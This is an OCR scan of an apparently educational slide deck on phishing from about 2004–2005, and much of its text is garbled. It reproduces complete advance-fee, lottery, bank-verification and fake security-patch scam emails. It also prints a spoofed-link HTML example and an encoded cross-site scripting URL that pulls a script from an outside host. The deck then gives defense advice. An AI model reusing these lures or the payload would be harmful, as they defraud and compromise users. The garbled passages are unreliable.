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¢+ This talk is intended to provide basic information
about common Internet fraud tactics with a special
focus on phishing exploits which new constitute the
fastest growing genre ofi consumer scams.

¢ After dissecting various forms of phishing and
discussing attack vectors, | will provide a brief;
synopsis of defense techniques.




Phishing: (fISh INg) (n.) The act ofi sending
an e-mall to a user falsely claiming te e an
established legitimate enterprse in an
attempt to scam the user inte surrendering
private information that will' be used for |
identity theft. .

-- http://www.webopedia.com/TERM/p/phishing.html




IRrtRe\Wilaks:

¢ Phishing exploits are increasingly.
sophisticated and deleterious, and new.
constitute the most prominent and fastest
growing Internet threat to end-users.

¢+ Blended Threats: Phishing Is often used: in
combination with other exploits (spyware,
Trojans, keystroke loggers, worms, DDS
attacks, etc.).




Cost to the United States

“(phishing) cost $1.2 billien in damage te U.S. Banks and credit card
iIssuers last year (2003)...An estimated 57 millien American have
received a phished e-mail...An estimated 19 percent off U.S adult
Internet users trusted enough to actually click en a link in the phishing
e-mail and 3 percent reported actually entering sensitive personal or
financial infermation. *

“Nearly 2 millioni Americans have had their checking accounts raided by
criminals in the past 12 months, according to a seon-te-be released
survey by market research group Gartner. Consumers reported an
average loss per incident ofi $1,200, pushing total losses higher than $2
billion for the year."

-- Gartner Research
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Cost\Worldwiae

¢+ "Online identity theft caused damages ofi $5 billion
worldwide...expect something like 20-30 billien this year (2005) in
phishing, as now, we’'re facing an epidemic.*

- New York Times, June 2004

¢+ In March, mi2g Intelligence, a digital risk management company,
estimated that the combined economic damage of Bagle,
MyDoom, and NetSky cost more than $100 billion worldwide. In
2003, spam cost businesses $10 billion in lost preductivity and
bandwidth.

Phishing In Billions of $
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SEN\VRER EXECHNASTERISHING &
Wihat Can Ve Do AeULN G

1) LLearn to Identify suspicious messages and web
sites

2) Educate ourselves (and others) on the
techniques being used

3) Minimize the threat vector
4) Defend your privacy.

EDUCATION AND VIGILANCE ARE YOUR BEST

DEFENSE! r ﬁ
N N/




Examples eirPRIshingHVIessage
Deliven (Attaicks \V/ecior)

+ Email
¢ Web Pages (forums, ad banners, etc.)
¢ Instant Messaging, IRC, P2P; etc.




SoeclallEngineenng 10

“thIs| IS net thewehksiteyeulareloekinaior:

¢+ Advanced Fee Fraud (419) 5
+ Update Your Account ’

+ Personals Phishing \I
¢ AVS Scams

¢ Plug-Ins and Browser “Enhancements”
¢ Irojaned Applications

¢ 'Thank you for your purchase"

¢ Security Patch by Email




Advanced EeeEraue

Dearest one,

Greetings as you go throughi the dept of thisiemail designed: to inferm you ofi my: desire te go inte business
relationship with you which will in turn be of a great mutual benefit te both of us although Il selected
your email address among others because of It's esteeming nature while surfing the internet. | am
GEORGE TUMBA the only child of late Mr. and Mrs. EDMOND: TUMBA, my parents were very wealthy.
cocoa merchant based in Abidjan, the econemic capital of Ivory coast before they were both poisened
to death by my father’s brothers while on a family: meeting in the village. However, before my father
gave up to the ghost on the 24th of Dec.2001 in a private hospitall here i Abidjan, he secretly waved
me to his bedside and whispered in my ear that he deposited the sum of TWELVE MILLION DOLLARS
(USD$12,000.000) in one metallic trunk box inte an Abidjan base security company under the
coverage of family valuables using my name as the next of kin. He alser made me to understand that
his brothers were responsible for his death and instructed me to leok for a fereigner who willlhelp me
transfer this fund and invest it wisely abroad and to prove it all, six month after my parents death his
brothers sold all his properties including our family house and now: seeking to kill me toe. Dear, I am
honorably seeking for your assistance to help me sign-out the bexes from the security company and
transfer this funds to your country possibly through your account iff we can reach a compromise
because you will stand as the guardian to this funds while | further my education In your country.
Incase, you wish to assist me and know more about this matter do not hesitate to reach me for your
response through this email | look forward to hear from you Soenest.

Thanks and God bless you and your family. GEORGE TUMBA.
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WORLD EMAIL LOTTO, 16 BELDON STRAAT ,1070, BRUSSELS, BELGIUM.
FROM: THE DESK OF THE DIRECTOR PROMOTIONS; INTERNATIONAL PROMOTIONS/PRIZE

AWARD DEPARTMENT, REF: AST341739DS ATTN: AWARD NOTIFICATION; FINAL NOTICE
We are pleased to inferm you of the announcement teday, 8th Octember, 2004, of
winners of the WORLD EMAIL LOTTO/ INTERNATIONAL PROGRAMS held on 6th Octomber
2004, were our winners were listed and you have emerged as oene of the possible
winners. You / your company, attached to ticket number 013-2316-2002-47 7, with serial
number A025-09 drew the lucky numbers 37-13-34-85-56-42, and censeguently won in
category B. You have therefore been approved for a lump sum pay out of
US$1,200,000.00 in cash credited to file REF NO. REF: AST341739DS. This is from total
prize money of US$ 8,000,000.00 shared among the six(6) international winners in the
category B. All participants were selected through a computer ballot system drawn frem
30,000 names from Australia, New Zealand, America, Asia, Europe,USA and North
America as part our International Promotions Pregram, whichiis conducted annually.
CONGRATULATIONS! Your fund is now depesited with a Finance and Security Hoeuse and
insured in your name. Due to the mix up of some numbers and names, we ask that you
keep this award strictly from public notice until your claim has been processed and your
money remitted to your account. This Is part of our security protocol to avoid double
claiming or unscrupulous acts by participants of this program. We hope with a part of you
prize, you will participate in our end of year high stakes US$1.3 billion International lotto.
To begin your claim, please contact your claims officer immediately: jerry peters Account
Director Worldemaillotto Bv TEL:+32-496-879-223



By, §
Anether 5 Millierrsh g £

From: Mr. Cheung Pui Hang Seng Bank Ltd Sai Wan He Branch 171 Shaukiwan Road
Hong Keng.

Reply To:

Good Day, Let me start by introducing myself. 1 am Mr. Cheung Pui credit officer of the
Hang Seng Bank Ltd. | have a concealed business suggestion for you. Before the U.S
and Iragi war our client General. Ibrahim Moussa whe was withi the lragi forces and
also business man made a numbered fixed deposit for 18 calendar moenths, with a
value of Twenty millions Five Hundred Thousand United State Dollars enly: in my,
branch. ...WHAT IS TO BE DONE: | want you to know that I have had everything
planned out so that we shall come out successful...There Is ne risk invelved at all in
the matter as we are going to adopt a legalized methed and the atterney will prepare
all the necessary documents. Please endeavor to ebserve utmost discretion in all
matters concerning this issue. Once the funds have been transferred to your
nominated bank account we shall share in the ratio of 65% for me, 30% for you and
5% for any expenses incurred during the course of this operation. Should yeu be
interested please send me your full names and current residentiall address. Your
earliest response to this letter will be appreciated.and I will prefers you to reach me
on this email: Kind Regards Mr. Cheung Pui.

-

If it sounds too good to be true...It probably is.



UpeaierYoumAccolnn

Privacy = citlcom
Carpars = Use Credic Wisely = Site Map » l:l"!ﬁ'ﬂ!i;?‘ﬂ = Expafial

Drear Cittbank user,

As part of our contimung oomamitment to protect your account and to reduce the matance of frand on our website, we are undertalting a period review of our member
accounts,

Tou are reguested to visg our ee by following the lnl omven below

hitp ! fwrrw, citbank. comy'aw-coomlSAFT diitvenfication®a T 7082080015

Fleage fill in the requred miormation

Thiz 15 recuired for vs to continue to offer you a safe and risk fee environment to mun your business, and maintain the Citlbank experience.

Thanl you

Accounts Manapement

L outlined in our Teer Apreement, Citibank will periodically cend you mformation about eite chanpes and enhancements, Visit our Privacy Policy and Teer
Apreement i you have any questions,

Copynpht 2003 Citbamle Inc. A Faphels Eeserved.

Diesypmated bademarkes and brunds are the properly of thenr respechve owners

Cibtbambe and the Citbamd logo are rademarks of Citbamb Tne

Announcernents | Register | SafeHarbor (Bules & Safery) | About us
Coprright © 19535 2003 Cribande Inc. All Rights Beserved.
Dresignated trademarks and brands are the property of their respective cwmers.
Toe of thas Web site constitutes acceptance of the Cittbank Toer




"Verification of User Data”

Dear Fleet bank Lser,
During our regular update and wenfication of the user data, you
must confirm your credit card detalls.

Flease confirm your information by clicking link below

Regards, FlestBank




Secuiiy Upeaies

1ﬂl€ﬂ - e s wserd electronics, cars, apparel collectibles, spurting goade m.d.h=:r =3
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Buylng new ltem Security Update (7} Mead Help?

' Fl".l‘ld ;& For security reasons the lollowing information mivst be confirmaed.

Search of br

What are you lnnk El.rﬂ Uiz 1D

sxarch Tias | [Yau can alre ure yous regirtersd small
Pavenid

Hrowse for an itan |

SHIEL:I.U categony. | |
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title bar.
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PErsenaisiERishing

Bm!l AEVERTIRFUERT

hi ya,

saw your personal last B amail ke e 1 e “F'-f

e " Maddel Babe *

night and thought you S _
sounded really cool ;) M Gt Foi | O
most of the guys on B =
here are really lame, but Rt

Habhina: fiepn After germmg off from weerk [ lowe to hawe a Bew dnnks

you seemed different. | | et

set up my first web site ‘.F'L””L”ﬁ.,

if you want to see some [ T P i e e
sexy pics of me....but gt '
don't tell people
because i don't want
just anybody to see

them!

S0 wHa:l'{

Frofile Detalls: 0.

Hawrwpfanr:
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4 mmrital Staham Single - never muarmed
- Hoady Typai Addulic
~debb|e - Wmrghit L

| £ Hiifrawm

Wlewn AN My Mliaslen (23 i
Wiew AR My Mitlen (1) T Light Brown

Abdam B il B BLAECE 6 Wit ity CaucERiEn (e}

i el @ Rl sanss of amort  Trigndly, Clever | Qulck 'Witled



AVS Scams

D enterab - Mozilla Nirelox

[he Lt Yew o [ockmaks ook (e
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I8 and Cute

EiIGHTEEN & TUTE

Jduin the biggest searchable collection of adult pictures and content
ar the retl Cher 10,000,000 33X Pictures along with access to this
site -

Want to See Me Download all of your Favarites now by clicking on the {oln barner
Naked? First sign belowl

up for our Adult Mo credit card nesdadl

Verification _
Service and/or o Sex

install this browser TR e
plug-in.




PIUg=IRS anerBrewser
‘EnRnancCEMERLS:

;‘-E'—-_ Recommended Plug-ing and Software

Partner programs:

iLookup 2.0

Making the Intemmeat Smgdal

NEVER Install
Untrusted Applications! R InstalleZul TopTent Lockup 28



EOCRACESAM - Page P13 - Modlla Firclun
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Be VERY careful what you download from
the web and P2P networks.



AaRkVeuUNeRYOURPUICHESE:

® Your rard has heen hilled for $149.95 - Messange (HTML )

Friomi: Shardnw Crew |Kem_Feita@nsterape.net]  Sent: Toe 20372004 11:07 A

Tn: prifihamhlrweed. com

CEee

Subjeck:  Your card has bean billad for $140,00 ; We have problems with your order. - Message (HTML)

Your credit card will be billed at $22.95 weekly and fee 3 pack -
porr 0T iz shipping o your hilling address
T cancel your membership and UL pack: please emad bl creddt
1 Ready te cnyoy all types of underage
ee the best selection for every lasle!
lick the secret link below and hawve fun .

WCTEW.

4 start | = bintemet.. = & Securery & Eudora - [B..., 2% Untitled Do, ., 0 Inbox - Micr... ® Fud: weha.. | i ibiling Febl... Q)m% £:49 P



SecUyRaichNey =2

F Subjeck:s P eicrosolft petch

— = iginal Messaps--——

From: Miorosoft Corporat Security
Sent: Friday, September 19, Z003 835 Ak
Ta: MS Corporation Client

Subject: microsoft patckh

Ha @

MZ Chent

thos 1= thie lalest wersron of secunty updats, the "September 2003, Cumsdatsve Pateh® update whach resobees all
known secanty walnerabilitie s affectong MS Intemet Explorer, MS Cutlock and M3 Outlook Express. [nstall now
B saairbain the secusl comparter from these welnerakdlities, the smoet gerows of which could allow an

malcagass user Lo mun exs shle an your syrstem. Thos update include s the fanctianably of all previoushy
released potches

g Syvdma regpueireards T Eradeeora: 9 5 Rl ODORDH TP

-i_:lmrl-d-dlmﬂ-h LS demret. B o, wwrrion. 4 0L wred e

RS Dumbcesh |, weErihom. ¥ il Laesr

RS ambock Eguess
-i?lh_-i-im Cstoemars dhould Seiall the patch, i the sslisk opp-rhandy
| A Mt ineresll -:Eu'n. i B

i M e use

Che-oee Weer o Sap bgred Sadog Tow

i o ekl 1 80 elhieg wller Bunlal¥ing B e

Mlicrasaft Product Support Servaces and Binowledgs Base asticles can be found on the B
-

Support web gite, For secursity-related enformaticn about Microsoft products, please visit
Advigos wab gite, or Codrtact e,

Thank ywouw for using Mecrosofl produocts,
Fltase 430 Yol Tep B o vk thecrage. B v cend Shoemn o TEnsohiored & il address ared wre are WEveb e L0 DerpeDid] 0o @ Dep e

Combact Us | Lagal | TRUS Te

B Mol Corparddon, Allsights cecerored, Toose of This (| Bebnesy Stelmpesdt | Sotiiddhilsy

Security Patches are NEVER distributed by Email. Delete!



ViEchanics GirERIShinG

o URL Spoofing / URL Look-alikes

HTML in email can hide real address.
<a href="http://www.eVvilsite.com">http://commerce.wellsfargo.com=/a>

- http://www.ebay-members-security.com
- http://citibank-validate.info/
- http://www.aolaccountupdate.com

Caa

- www.whitehouse.gov =

ufHH‘EHE‘UEE‘. =

- www.Whitehouse.com =

Salkrasad SEFTI D B GGLY BiTE

DEMO! e é%g 3
| y -
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Viechanics GirERsShinG
» HIML Obfuscation

B ellay Aciourd Yerdfie alion - Meidage (HTHE])
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Scbrject; by Accourt Verfizetion

Senk: Tha 12747000 ol P

Dlenr eBay account swaerl

rBay sent this #-mail to you because your Hotfication
Preferences mdicate that

wupdale page amd reenkes
name sthepwize youz a2

LDiesignated trademaeics and brands aee the propety of thee tespectve sumers.
By mnd the eBay logo e tradernmk s of eBay Inc
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Viechanics GirERsShinG

¢+ Browser Manipulation

et aybank. comfebankingTosot=1 Ad d ress (U R L)

Briversisl Ackiress Bar Sutesdilulon

TR location can be
— spoofed as
well as

Ultra-sale online banking portal _ Securlty Zone
N and SSL

certificate.
i Floass eriler your merdeersiup cetsls el
oo she s 2477 DEMO:javascript:document.write("<iframe
— 0 frameborder=0 scrolling=no height=100%
it width=100%

src="http://www.cnn.com'></iframe=")

Fadiock & Tone |
TS T ey

S @ et |

itp-annlgitg com/phishengtakecage. m

Attackers Fake Scrvor

http://www.nextgenss.com/papers/NISR-WPPhishing.pdf



ViEchanics GirERIShinG

» Man-In-The-Middle Attack

id
-.

HTTPOrHTTPS " HTTPorHTTPS

- x—-..___‘_..;__;.a-
Attackers Proxy Real Site
Hup:/iwww.hacker.com/fake. mybank/ Hutp/fwww.mybank.comj
Hitps /v hacker.comifake. mybank/ Https://'secure. mybank.com/

http://www.nextgenss.com/papers/NISR-WP-Phishing.pdf



VIiECHANICS GiRRIISHIN
¢ Cross-Site Scripting

T T

Y i
Welcome Lo Citibank

Enkrad
Eit

Full Debit Card Number
DIN (4-6 digits, ~ ATM DIN)

F Card Expiration Date (mm /yyyy)

T e e e b e T B B P o lmza

B B Rad b &

D E M O . Feguesing =« Filp. Yoyl decoenfebanb s g TUR L =lillp Uewilsde coimohimmliagtakepaye Bin
http://www.google.com/custom?cof=L:%6a%61%76%61

%73%63%72%69%70%74%3a%6a%61%76%61%73%

63%72%69%70%74%3a%64%6f%63%75%6d%65%6e .
%74%2e%61%70%70%65%6e%64%43%68%69%6% http://www.nextgenss.com/papers/NISR-WP-Phishing.pdf
649%028%64%61%63%75%6d%65%6€%74%2e%63%72

%65%61%74%65%45%6c%65%6d%65%6€%74%28%

27%73%63%72%69%70%74%27%29%29%2e%73%72

%63%3d%627%68%74%74%70%3a%2f%2f%6a%69%6

2%62%65%72%69%6e%67%2e%63%6f%6d%2f%74%

65%73%74%32%2e%6a%73%27



SessionlDr Attack

Yol

e - ]

W ——— B-

[_ Phishing link contains: SessioniD no : ‘

sasslon=3VIL5e53510N Aulhantical HTTPE Rasusd

|
{404 Page Not Found

_— . Attacker Tnes: :
F - [ PSRy DRAR COMIIDArK g YRR SSION=TV L3030 10N | B vor=lne

: :)"-’;";’-';':fjrrmf' sl

HITTTE Recuast

N— - audl

ﬂl:ﬁﬂ'ﬁ:ﬂ;::;ﬂﬁ in Authenticatd ated IFTTFD Reguesl ‘ d ’fél'f?f;”ﬂff' |

{ 200 Ok
Fund Transfar Pagae
Attacker Trias: = 1= —
FIS e me Gommn o ng Fsessiom= 36 L S0 551 0NA T ipr=Trus
Success

http://www.nextgenss.com/papers/NISR-WP-Phishing.pdf



Defense!

1) Do NOT follow links in suspicious emails, IVl messages, or Welb pages.

2) Disable HTML viewing in your email client. View source (net HIML) te see i
link is valid.

2) If it sounds too good te be true, it probably is.
3) Stop using Internet Explorer. Try Firefox or Mozilla instead.

4) Make sure your operating system and applications are current and patched
for the latest security threats.

5) Install and update your virus protection regularly.

6) Never execute or install software from untrusted sources (including
browser plug-ins and “enhancements”, P2P networks, or emalil
attachments).

BE SUSPICIOUS AND SKEPTICAL BY DEFAULT




PreHuZEPHVAEY,

¢ Do not release private or sensitive
Information unless It IS necessary.

¢ If release of information IS reguested,
Inguire why and ask for a justification.

+ When required for legitimate purpeses,
make sure your method ofi communication
IS secure.

¢ Shred papers. Erase/destroy used media
before you trash It.



e ElitereiPnishing

+ Phishing Is groewing at an exponential rate.

¢+ Attacks will become Increasing sophisticated and
effective.

Blended threats will become commonplace:

(phishing email--=evil website-->Trojan--=mass mailers--=phishing email)

Phishing cannot be completely stopped, but
education and a “critical eye™ are your best line
of defense.




Bidliegraphy and EUtherRESEaNcH

The Phishing Guide: PacketStorm Security :

http://www.nextgenss.com/papers/NISR-WP- LEEp2/ vy pecliststormsecurit ) or
Phishing.pdf
Securityfocus.com (Bugtrag):
Anti-Phishing Working Group: http://\Www.Securityfocus.com

http://www.antiphishing.org/index.htmi
US Department of Justice:

CERT: http://www. usdoj.gev/criminal/fraud/Phishing. pdf

http://www.cert.org
US Securities and' Exchange Commission:

Federal Trade Commission: http://www.sec.gov/investor/pubs/cyberfraud. htm

http://www.ftc.gov/spam
US Secret Service:

Internet Fraud Complaint Center (FBI): http://www.secretservice.gov/alert419.shtml
http://wwwl.ifccfbi.gov/index.asp

This PowerPoint presentation is available on the web at
http://bss.sfsu.edu/bsscomputing/onspot/phishing/phishing.ppt
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